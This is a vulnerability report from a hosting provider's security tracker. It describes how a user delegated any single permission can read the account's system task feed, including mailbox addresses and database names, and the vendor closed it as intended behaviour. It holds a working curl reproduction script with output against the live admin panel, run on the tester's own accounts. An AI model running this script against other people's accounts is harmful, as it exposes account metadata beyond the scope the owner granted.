Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by arise01x - 01.10.2026
Last edited by cbay - 02.10.2026

FS#511 - System tasks (`/task/`) readable with any single delegated permission

# System tasks (`/task/`) readable with any single delegated permission — mailbox addresses and database names disclosed beyond granted scope

Severity: Medium — per program tier *"Accessing permissions/config on user accounts without accessing content"*

Summary: When a customer delegates a single permission on their account (e.g. "Domains") to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The "System tasks" view is the exception: `/task/` and `/task/<id>/detail/` are accessible to any user holding at least one permission on the account — any permission works (Domains-only, SSL-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.

The dedicated "Scheduled tasks" permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it.
Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.

Affected URL / endpoints: - `GET https://admin.alwaysdata.com/task/`
- `GET https://admin.alwaysdata.com/task/<id>/detail/`

Repro (clean curl) — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:

```bash
BASE=https://admin.alwaysdata.com A_EMAIL='owner@example.com' A_PASS='owner-password' # owns adtesta1 (account id 503524)
B_EMAIL='delegate@example.com' B_PASS='delegate-password' # second user, no access yet

csrf() { grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' "$1" | head -1 | cut -d'"' -f4; }
login() { # $1=jar $2=email $3=password

curl -s -c "$1" "$BASE/login/" -o /tmp/login.html
curl -s -b "$1" -c "$1" -X POST "$BASE/login/" -H "Referer: $BASE/login/" \
     --data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/login.html)" \
     --data-urlencode "login=$2" --data-urlencode "password=$3" -o /dev/null

}

# — 1) Owner A grants delegate B ONLY the "Domains" permission on adtesta1 — login A.jar "$A_EMAIL" "$A_PASS"
curl -s -b A.jar -c A.jar "$BASE/permissions/add/" -o /tmp/grant.html
curl -s -b A.jar -c A.jar -X POST "$BASE/permissions/add/" -H "Referer: $BASE/permissions/add/" \

  1. -data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/grant.html)" \
  2. -data-urlencode "email=$B_EMAIL" \
  3. -data-urlencode "account=503524" \
  4. -data-urlencode "503524_account_domain=on" -o /dev/null

# (checkbox name pattern is <account_id>_account_<permission>)

# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar "$B_EMAIL" "$B_PASS"
curl -s -b B.jar -c B.jar "$BASE/" -o /tmp/b.html
curl -s -b B.jar -c B.jar -X POST "$BASE/" -H "Referer: $BASE/" \

  1. -data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/b.html)" \
  2. -data-urlencode "change-object=account_adtesta1" -o /dev/null

# — 3) B reads the account's task feed — real data — curl -s -b B.jar -o /dev/null -w 'GET /task/ → %{http_code}\n' "$BASE/task/"
curl -s -b B.jar "$BASE/task/" \

| grep -o '/task/[0-9]*/detail/">\[[^]]*\][^<]*' \
| sed 's|/task/\([0-9]*\)/detail/">|\1  |' | head -4

# 40721533 [adtesta1] adtesta1@alwaysdata.net mailbox configuration
# 40720561 [adtesta1] Updating database permissions MySQL: adtesta1_db
# 40720560 [adtesta1] Database creation MySQL: adtesta1_db
# 40720415 [adtesta1] Database user creation RabbitMQ: adtesta1

# pick any task id shown in the list, then read its detail page:
curl -s -b B.jar -o /dev/null -w 'GET /task/<id>/detail/ → %{http_code}\n' "$BASE/task/<id>/detail/"
curl -s -b B.jar "$BASE/task/<id>/detail/" | tr '\n' ' ' \

| grep -oE '<th[^>]*>(Description|Opening date|Status|Involved account):</th>[[:space:]]*<td>[^<]*' \
| sed -E 's/<th[^>]*>//; s|</th>[[:space:]]*<td>| |'

# Description: [adtesta1] Updating Apache configuration
# Opening date: Oct 1, 2026, 5:38:58 PM
# Status: Completed
# Involved account: adtesta1

# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do

curl -s -b B.jar -o /dev/null -w "GET $u -> %{http_code}\n" "$BASE$u"

done
```

Observed — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester's accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):

```
== 1) A grants B ONLY the 'Domains' permission on adtesta1 (503524)

 grant record: /permissions/493113/

== 3) B reads the System tasks of adtesta1 — real data shown below

 GET /task/ -> 200   rows leaked for [adtesta1]: 9   (own [adtestb1] rows: 11)
 --- rows of account adtesta1 as displayed to B ---
   40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration
   40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db
   40720560  [adtesta1] Database creation MySQL: adtesta1_db
   40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
 GET /task/40720409/detail/ -> 200   --- page content as displayed to B ---
   Description: [adtesta1] Updating Apache configuration
   Opening date: Oct 1, 2026, 5:38:58 PM
   Status: Completed
   Involved account: adtesta1
 --- controls (same session) ---
 GET /domain/           -> 200
 GET /mailbox/          -> 403
 GET /database/         -> 403
 GET /ssl/              -> 403
 GET /account/usage/    -> 403
 GET /job/              -> 403

== 4) cleanup: remove the grant
== 5) verify restored

 A grant records now: 493112
 B GET /task/40720409/detail/  -> 404  (expect 404)

```

The 9 leaked rows include the account's mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`),
even though B is denied `/mailbox/` and `/database/` (403).

Also reproduced with each of SSL-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.

Impact: A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.

Remediation: Enforce a section-level check on `/task/` (and `/task/<id>/detail/`) — either a dedicated permission or filtering the task feed to the caller's granted sections, the same way `/job/` already enforces `account_job`.

Closed by  cbay
02.10.2026 07:20
Reason for closing:  Invalid
Admin
cbay commented on 02.10.2026 07:20

Hello,

This is true, but is working as expected: tasks are indeed accessible from anyone that has any permission.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing